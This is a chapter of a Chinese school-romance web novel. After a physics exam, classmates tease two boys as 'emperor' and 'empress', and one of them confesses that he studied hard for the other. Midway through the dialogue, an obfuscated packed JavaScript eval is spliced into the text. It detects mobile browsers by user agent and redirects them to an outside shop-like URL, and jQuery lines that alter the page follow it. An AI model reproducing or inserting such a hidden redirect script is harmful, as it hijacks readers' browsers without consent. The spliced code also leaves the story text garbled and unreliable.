42. 为皇后打下的江山
作品:《年少当时》 一个月后的物理考试,让杨老师看到了希望:自己班,还有救。
成绩单贴出来的那一刻,五班正式进入“封建王朝”模式:
楚屹,登基。重回第一王座。
李淮念,复位。稳居他的“贵妃”宝座。
其余人等,按分数高低,分封大臣、宰相、侍郎、御前带刀侍卫……
整个班级沸沸扬扬,像早朝一样热闹。
罗思琪拿着刚抄下来的成绩单,在过道里来回穿梭,活像传旨的太监:“圣旨到——楚屹陛下,98分,位列第一!李淮念贵妃,96分,位列第二!何芯郁大臣,84分!温翊然……”
她顿了一下,低头又看了一眼成绩单,然后扯着嗓子喊:“温翊然——86分!封妃!”
班里笑成一片。
温翊然面无表情地坐在座位上,默默把她手里的成绩单抽走。
“念完了?”
“念完了。”罗思琪理直气壮,“怎么,嫌分低?分低也是妃,认命吧皇后。”
温翊然:“……”
温翊然:“谁皇后?”
罗思琪眨眨眼:“你猜。”
温翊然没说话。
楚屹正低头看着自己的卷子,嘴角挂着一点藏不住的笑——98分,确实很久没考这么好了。
温翊然盯着楚屹。
楚屹没抬头。
温翊然清了清嗓子。
楚屹还是没抬头。
温翊然于是双手捧起楚屹的试卷,神情庄重,动作恭敬,像在呈递传国玉玺。
“陛下,”他压低声音,“您的卷子。”
楚屹终于抬起头,看着他这副一本正经的样子,差点笑出声。
他努力绷住脸,配合道:“爱卿平身。”
温翊然直起身,把卷子放回他桌上,又变戏法似的从身后掏出自己的卷子,在旁边坐下。
“陛下考了多少?”
楚屹看了眼卷子:“98。”
他反问:“你呢?”
温翊然把自己的卷子往他那边推了推:86。
楚屹看了一眼,又看了一眼,然后笑了。
“可以啊,”他说,“86分,能当妃子了。”
温翊然摇头,一脸正经:“不行。”
楚屹:“嗯?”
温翊然:“我是皇后。”
楚屹愣了一下。
温翊然继续说:“皇上是98分,皇后86分,这不是刚刚好?差了12分,正好是——”
他顿了顿,掰着手指算:“十二个月?十二个时辰?十二……”
“行了行了,”楚屹伸手想把他的卷子推回去,“谁跟你十二……”
温翊然笑着把两张卷子并排放好。
“看,”他说,“挨着呢。”
楚屹盯着那两张卷子——98和86,并排躺在课桌上,像两个人并排坐着。
他没说话。
“行了行了,别分王朝了。”
杨老师的声音从讲台上传来。他比了一个“守住”的手势,但嘴角明显憋着笑。
等教室里稍微安静一点,他清了清嗓子:
“这次我最想表扬的是……”
他故意停顿,推了推眼镜,目光慢悠悠地从左边扫到右边。
全班都屏住呼吸等着。
“咱们班的‘皇上’楚屹!”
话音刚落,教室里爆发出一阵大笑。
有人鼓掌,有人吹口哨,还有人喊“吾皇万岁”。
杨老师自己也绷不住了,笑着补了一句:
“虽然上次让我大跌眼镜,但这次,帮我把镜框扶正了。”
楚屹把脸埋进胳膊里。
温翊然在旁边小声说:“皇上,您低调点。”
楚屹在桌子底下踢了他一脚。
温翊然躲了一下。
罗思琪隔着两排座位,疯狂朝何芯郁使眼色,何芯郁回她一个“我懂”的眼神。
“不过嘛。”
杨老师话锋一转,嘴角带着一点意味深长的笑。
教室里瞬间安静下来,所有人都嗅到了“有瓜”的气息。
杨老师慢悠悠地说:
“这皇上,怕不是要为了皇后打江山,才这么拼的吧?”
全班愣了一秒。
下一秒,炸了。
“杨老师你说清楚,皇后是谁?”
“还用问吗?温翊然啊!”
“啊啊啊”
何芯郁和罗思琪同时转过头,两双眼睛亮晶晶地盯着楚屹,满脸都是“我们嗑到了”的表情。
罗思琪激动得拽何芯郁的袖子:“你听到了吗你听到了吗?杨老师亲自盖章!”
何芯郁疯狂点头:“我听到了我听到了!官方认证!”
楚屹整个人都僵了。
他死死盯着桌面,恨不得在上面盯出一个洞来钻进去。
温翊然侧过头,凑近了一点。
他的声音压得很低,带着笑,又带着一点认真的试探:
“你真的……是为了我?”
楚屹没敢看他。
他盯着桌面,声音小得像蚊子:
“……你猜。”
温翊然笑出了声。
那笑声不大,但楚屹听得清清楚楚——就在他耳边,近得能感觉到气息。
他的耳朵更红了。
“爱情的力量啊!啊啊啊——”
罗思琪飞速撕下一张纸条,埋头狂写。
纸条在空中划过一道优美的弧线——
准确砸中何芯郁的脑门。
何芯郁:……
她揉着脑门打开纸条,上面写着:
“我嗑死了杨老师是咱们的人!”
何芯郁捂着嘴笑得肩膀直抖。
她飞速写了一张回条,趁杨老师转身板书的功夫,精准扔回给罗思琪。
罗思琪打开一看:
“你快看温的耳!”
罗思琪立刻抬头,目光锁定温翊然。
温翊然正坐得端端正正,面不改色,嘴角甚至还挂着一抹得体的微笑,一副“什么都没发生”的正人君子模样。
但罗思琪是什么人?
她是嗑糖一线的侦察兵。
她眯起眼睛,仔细看:温翊然的耳朵尖,红了。
虽然只是浅浅的一点红,但逃不过她的火眼金睛。
罗思琪激动得差点从座位上跳起来。
她飞速写下第三张纸条,扔给何芯郁:
“他耳朵红了”
何芯郁回:
“楚屹已经没了。”
罗思琪抬头看向楚屹——
楚屹确实“没了”。
他把整张脸埋进胳膊里,从额头到脖颈,红得像煮熟的虾。只有两只耳朵尖露在外面,红得快要滴血。
罗思琪捂住心口,无声地倒在桌上。
何芯郁用嘴型问她:“你咋了?”
罗思琪抬起头,一脸庄严地回:
“我死了。”
何芯郁差点笑出声。
纸条还在继续传。
“你说他俩到底在一起没?”
“我觉得快了!!!”
“但温翊然那个86分是怎么回事?故意的吧?”
“???你说他故意考86???”
“你看啊,98和86,差12分,多好。”
“……你脑洞太大。”
“等着瞧!!!”
罗思琪信心满满地收起纸条,抬头看了一眼那两个人。
楚屹还埋着头,但偷偷从胳膊缝里瞄了一眼温翊然。
下课铃响了。
杨老师收拾教案,临走前又看了一眼楚屹的方向,笑着说:
“皇上,好好保持啊。”
班里又是一阵笑。
楚屹把脸埋得更低了。
等杨老师走出教室,人群终于散开,各回各位。
罗思琪一个箭步冲到楚屹旁边,双手撑在他的课桌上,表情严肃得像审犯人:
“楚屹同志。”
楚屹抬起头,警惕地看着她:“干嘛?”
“你老实交代。”罗思琪眯起眼睛,“你这次考这么好,是不是为了某人。
“没、没有。”
“没有?”罗思琪指着温翊然,“那他刚才问你‘是不是为了我’,你怎么不否认?”
楚屹噎住了。
温翊然在旁边悠悠开口:“他让我猜。”
罗思琪倒吸一口凉气,转头看温翊然:“那你猜的什么?”
温翊然笑了笑,没说话。
罗思琪急得直跺脚:“你倒是说啊!”
何芯郁走过来,拍拍她的肩:“行了行了,人家的事让人家自己解决。”
罗思琪不甘心:“可是——”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271295|195731||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“可是什么可是,”何芯郁把她往回拽,“你没看楚屹快熟了?”
确实,快熟了。
她只好作罢,临走前还不忘回头叮嘱:
“你们俩!有什么进展!记得第一时间告诉我!”
楚屹:“……没有进展。”
罗思琪:“我不信。”
何芯郁把她拖走了。
教室里终于安静下来。
楚屹长出一口气,瘫在座位上。
温翊然在旁边笑:“至于吗?”
楚屹瞪他一眼:“你说呢?”
温翊然没说话。
楚屹被他看得不自在,又把脸转回去。
沉默了一会儿。
温翊然忽然开口:
“所以——”
楚屹心里一紧。
“你还没回答我。”
楚屹装傻:“回答什么?”
温翊然看着他,语气很轻,但很认真:
“是不是为了我?”
楚屹不说话了。
他看着桌面,看着那两张并排放着的卷子——98和86,挨在一起。
楚屹深吸一口气。
然后他开口:
“是。”
声音很轻。
但温翊然听见了。
温翊然愣了一下,然后笑了。
那笑容和平时不太一样——不是那种淡淡的笑,而是从眼睛里溢出来的、藏都藏不住的笑。
“再说一遍?”
楚屹耳朵红透了,但这次他没躲。
他转过头,看着温翊然的眼睛:
“我说,是。”
“是为了你。”
“行了吧?”
温翊然笑着点头:“行。”
楚屹:“满意了?”
温翊然:“满意。”
楚屹:“那你还笑?”
温翊然:“不能笑?”
楚屹:“……”
楚屹:“能笑。”
温翊然笑得更大声了。
楚屹被他笑得不好意思,又把脸转回去,但嘴角也忍不住翘起来。
窗外,冬天的太阳照进来,落在两张并排的卷子上,暖洋洋的。
上课铃响了。
是数学课。
楚屹翻开课本,努力让自己集中注意力。
但过了一会,温泉凑过来:“那以后你给我讲题?”
楚屹愣了一下。
温翊然:“你说过的,考好了就给我讲。”
现在,这一天真来了。
他低头看了一眼温翊然的卷子——86分,确实需要补。
楚屹忽然觉得有点想笑。
明明是他考好了,明明是值得庆祝的事,怎么现在反而要“干活”?
但他又觉得,这个“活”,他好像挺愿意干的。
于是他说:
“行。”
温翊然眼睛亮了:“真的?”
楚屹:“嗯。”
温翊然:“那从什么时候开始?”
楚屹想了想:“今天晚自习?”
温翊然点头:“好。”
想靠近,想帮忙,想有一个名正言顺的理由,待在他身边。
楚屹低下头,嘴角悄悄翘起来。
原来考得好也要接受处罚啊。
他偷偷看了一眼旁边的温翊然——那个人正低头做题,但嘴角还挂着笑,像捡到什么宝贝似的。
楚屹又转回头。
但心里的那个念头越来越清晰。
至少,楚屹的物理稳了。
而他,终于可以名正言顺地、光明正大地,给温翊然讲题了
可为什么。
心跳得这么快?
晚自习。
“这道题,”他指着温翊然错的那道大题,“你思路错了,应该先……”
温翊然认真听着,时不时点头。
但楚屹讲着讲着,忽然觉得不对劲。
他抬头看温翊然。
温翊然正看着他,根本没在看题。
楚屹:“……你看题。”
温翊然:“我在看。”
楚屹:“你看的是我。”
温翊然:“我看题的时候顺便看你。”
楚屹:“……”
他把笔放下:“不讲了。”
温翊然立刻认错:“我错了,你继续。”

